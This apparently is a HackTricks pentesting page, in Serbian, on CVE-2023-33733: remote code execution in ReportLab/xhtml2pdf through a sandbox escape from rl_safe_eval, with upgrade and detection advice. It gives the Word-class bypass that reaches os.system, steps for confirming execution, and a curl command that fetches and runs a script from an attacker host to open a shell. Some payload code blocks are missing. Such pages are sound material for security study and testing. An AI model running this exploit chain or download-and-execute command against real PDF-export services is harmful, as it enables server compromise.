ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ova stranica dokumentuje praktičan sandbox escape i RCE primitiv u ReportLab-ovom rl_safe_eval koji koristi xhtml2pdf i druge PDF-generacione pipeline-ove pri renderovanju korisnički kontrolisanog HTML-a u PDF.
CVE-2023-33733 utiče na ReportLab verzije do i uključujući 3.6.12. U određenim kontekstima atributa (na primer color), vrednosti obavijene u triple brackets [[[ ... ]]] se evaluiraju na serveru pomoću rl_safe_eval. Kreiranjem payload-a koji pivota od dozvoljenog builtin-a (pow) ka njegovim Python funkcijskim globals, napadač može doći do modula os i izvršiti komande.
Ključne tačke
- Trigger: ubacite [[[ ... ]]] u evaluirane atribute kao što je unutar markup-a koji parsira ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval zamenjuje opasne builtine, ali evaluirane funkcije i dalje izlažu globals.
- Bypass: kreirajte tranzitornu klasu Word da zaobiđete rl_safe_eval provere imena i pristupite stringu "globals" dok izbegavate filtriranje blokiranih dunder imena.
- RCE: getattr(pow, Word("globals"))["os"].system("
") - Stabilnost: Vratite validnu vrednost za atribut nakon izvršenja (za color, koristite na primer 'red').
Kada testirati
- Aplikacije koje izlažu HTML-to-PDF export (profile, invoices, reports) i gde se u PDF metadata ili HTTP odgovorima vidi xhtml2pdf/ReportLab.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- HTTP odgovor za PDF često počinje komentarom generatora iz ReportLab-a
Kako bypass sandboksa funkcioniše
- rl_safe_eval uklanja ili zamenjuje mnoge builtine (getattr, type, pow, ...) i primenjuje filtriranje imena da odbije atribute koji počinju sa __ ili su u denylisti.
- Međutim, sigurne funkcije žive u globals rečniku dostupnom kao func.globals.
- Koristite type(type(1)) da povratite pravi builtin type funkciju (zaobilaženje ReportLab-ovog wrapper-a), zatim definišite klasu Word izvedenu iz str sa izmenjenim ponašanjem poređenja tako da:
- .startswith('') → uvek False (zaobilaženje provere startswith(''))
- .eq vraća False samo pri prvom poređenju (zaobilaženje provere članstva u denylisti) i True kasnije (tako da Python getattr radi)
- .hash je jednak hash(str(self))
- Sa ovim, getattr(pow, Word('globals')) vraća globals dict omotane pow funkcije, koji uključuje importovani os modul. Zatim: ['os'].system('
').
Minimalni obrazac eksploatacije (primer za atribut) Postavite payload unutar evaluiranog atributa i osigurajte da vrati validnu vrednost atributa preko boolean i 'red'.
- Obrazac sa list-comprehension dozvoljava jedini izraz prihvatljiv za rl_safe_eval.
- Trailing and 'red' vraća validnu CSS boju tako da renderovanje ne puca.
- Zamenite komandu po potrebi; koristite ping da potvrdite izvršenje pomoću tcpdump-a.
Operativni workflow
- Identifikujte PDF generator
- PDF Producer prikazuje xhtml2pdf; HTTP odgovor sadrži ReportLab komentar.
- Pronađite input koji se reflektuje u PDF (npr. profile bio/description) i pokrenite export.
- Verifikujte izvršenje sa niskim šumom koristeći ICMP
- Pokrenite: sudo tcpdump -ni
icmp - Payload: ... system('ping <your_ip>') ...
- Windows često pošalje tačno četiri echo zahteva po defaultu.
- Uspostavite shell
- Za Windows, pouzdan dvofazni pristup izbegava probleme sa quoting/encoding:
- Stage 1 (download):
- Stage 2 (execute):
- Za Linux meta, sličan dvofazni pristup sa curl/wget je moguć:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Napomene i saveti
- Konteksti atributa: color je poznat evaluirani atribut; i drugi atributi u ReportLab markup-u mogu takođe evaluirati izraze. Ako je jedna lokacija sanitizovana, probajte druge koje se renderuju u PDF toku (različita polja, table styles, itd.).
- Quoting: Držite komande kompaktne. Dvofazni download značajno smanjuje probleme sa quoting-om i escaping-om.
- Pouzdanost: Ako su exporti keširani ili stavljeni u red, blago varirajte payload (npr. random path ili query) da izbegnete keširanje.
Mitigacije i detekcija
- Nadogradite ReportLab na 3.6.13 ili noviji (CVE-2023-33733 je ispravljen). Pratite sigurnosne advisore i u paketima distribucije.
- Ne prosleđujte korisnički kontrolisan HTML/markup direktno u xhtml2pdf/ReportLab bez striktne sanitizacije. Uklonite/odbijte [[[...]]] evaluacione konstrukte i vendor-specific tagove kada je input nepouzdan.
- Razmotrite onemogućavanje ili umotavanje korišćenja rl_safe_eval za nepouzdane inpute.
- Monitorišite sumnjive odlazne konekcije tokom generisanja PDF-a (npr. ICMP/HTTP sa app servera dok se exportuju dokumenti).
References
- PoC and technical analysis: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): HTB: University
- NVD entry (affected versions): CVE-2023-33733
- xhtml2pdf docs (markup/page concepts): xhtml2pdf docs
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.